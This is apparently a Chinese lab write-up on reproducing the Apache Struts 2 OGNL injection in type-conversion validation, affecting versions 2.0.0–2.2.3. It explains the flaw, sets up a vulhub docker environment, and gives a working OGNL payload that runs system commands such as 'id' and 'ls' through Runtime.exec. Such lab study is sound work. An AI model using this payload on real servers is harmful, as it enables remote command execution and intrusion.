0x00 漏洞原理
當配置了驗證規則 <ActionName>-validation.xml
時,若型別驗證轉換出錯,後端預設會將使用者提交的表單值通過字串拼接,然後執行一次 OGNL 表示式解析並返回。例如這裡有一個 UserAction:
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
然後配置有 UserAction-validation.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
當使用者提交 age 為字串而非整形數值時,後端用程式碼拼接 "'" + value + "'"
然後對其進行 OGNL 表示式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單欄位使之轉換出錯,藉助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表示式
0x01 影響版本
Struts 2.0.0 - 2.2.3
0x02 漏洞復現
環境vulhub kali
修改docker-compose.yml中的對映埠
自動化編譯環境
docker-compose build
啟動整個環境
docker-compose up -d
0x03 exp
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
將id改為ls後插入如下
插入後因為執行結果直接返回到了輸入框裡,不好觀察,可以通過burp 去觀察 也可以通過檢視原始碼觀察
從圖中我們可以看到返回了執行ls後的結果